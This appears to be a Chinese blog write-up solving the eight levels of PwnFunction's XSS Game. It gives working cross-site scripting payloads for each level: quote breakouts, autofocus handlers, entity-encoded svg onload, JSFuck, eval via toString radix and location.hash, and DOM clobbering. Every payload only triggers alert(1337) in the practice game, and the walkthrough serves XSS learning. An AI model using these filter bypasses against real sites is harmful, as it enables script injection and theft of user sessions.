xss GAME (xss漏洞攻击1-8)

目录

xss网页链接

第一关

第二关

第三关

​编辑第四关

​编辑第五关

​编辑第六关

第七关

[第一种 Function构建函数](#第一种 Function构建函数)

[第二种 tostring parseInt](#第二种 tostring parseInt)

[第三种 silce()](#第三种 silce())

[​编辑第八关(安全过滤框架 dom破坏)](#编辑第八关(安全过滤框架 dom破坏))


xss网页链接

XSS Game - Learning XSS Made Simple! | Created by PwnFunction

第一关

分析源码可知,没有任何过滤,那直接动手操作即可

而且有需求,不能有用户参与,而且必须弹窗1337

第二关

分析:innerText=ma 这个代码 将会把你输入的都将转换为文本

那么思考一下 绕过双引号 即可

?jeff=a";alert(1337);"

第三关

过滤了一些字符 用聚焦解决

?wey=1"%20οnfοcus="alert(1337)"%20autofocus="ture

第四关

?ricardo=javascript:alert(1337)

有setTIMEout 输入进去等待几秒即可

第五关

js不支持编码符号 但是支持字符串

所以location 可以转换字符串

url编码 为实体编码 然后执行

?markassbrownlee=<svg%20οnlοad=alert%26%2340%3B1337%26%2341%3B>

第六关

过滤了英文字母 所以直接没办法用英文

jsfuck 这个可以让字母变成 ![]

eval可以直接执行命令

JSFuck - Write any JavaScript with 6 Characters: []()!+

第七关

限制 0-50 所以上一关无法使用

有三种解法

第一种 Function构建函数

构建一个ALERT(1337) source 是获取函数原码 toLowerCase() 获取小写

?mafia=Function(/ALERT(1337)/.source.toLowerCase())()

第二种 tostring parseInt

首先得科普一下parseInt

parseInt,是Javascript内置函数,原型为parseInt ( String s , [ int radix ] ),用于解析一个字符串,并返回一个整数。

tostring 将数字转回为字符串

那么问题来了为啥要 tostring(30) 而不是29 或者 28 呢

alert 这个 t 必须到30进制才可以转换的到 例子:16进制最大是F

?mafia=eval(9875141..toString(31))(1337)

第三种 silce()

锚点

location.hash 获取url#后面的值 我们通过切片将alert切出来

?mafia=eval(location.hash.slice(1))#alert(1337)

第八关(安全过滤框架 dom破坏)

DOM破坏是一种将HTML注入页面以操纵DOM并最终改变页面上JavaScript行为的技术。

就是修改他原来的参数,进行覆盖,最后误以为是正确的

分析源码可知 ok 我们可以覆盖
我们可以得到两种标签对象: HTMLAreaElement (<area>) & HTMLAnchorElement (<a>) ,这两个
标签对象我们都可以利⽤ href 属性来进⾏字符串转换。
我这里使用a标签

?boomer=<a%20id=ok%20href=tel:alert(1337)>

?boomer=<a%20id=ok%20href=cid:alert(1337)>

这里用到了白名单 tel cid 因为javascript 不可以使用

相关推荐
by__csdn11 分钟前
Vue3 setup()函数终极攻略:从入门到精通
开发语言·前端·javascript·vue.js·性能优化·typescript·ecmascript
天天扭码26 分钟前
前端如何实现RAG?一文带你速通,使用RAG实现长期记忆
前端·node.js·ai编程
Luna-player1 小时前
在前端中,<a> 标签的 href=“javascript:;“ 这个是什么意思
开发语言·前端·javascript
lionliu05191 小时前
js的扩展运算符的理解
前端·javascript·vue.js
小草cys1 小时前
项目7-七彩天气app任务7.4.2“关于”弹窗
开发语言·前端·javascript
奇舞精选1 小时前
GELab-Zero 技术解析:当豆包联手中兴,开源界如何守住端侧 AI 的“最后防线”?
前端·aigc
奇舞精选1 小时前
Vercel AI SDK:构建现代 Web AI 应用指南
前端·aigc
神仙别闹2 小时前
基于C语言实现B树存储的图书管理系统
c语言·前端·b树
玄魂2 小时前
如何查看、生成 github 开源项目star 图表
前端·开源·echarts
前端一小卒3 小时前
一个看似“送分”的需求为何翻车?——前端状态机实战指南
前端·javascript·面试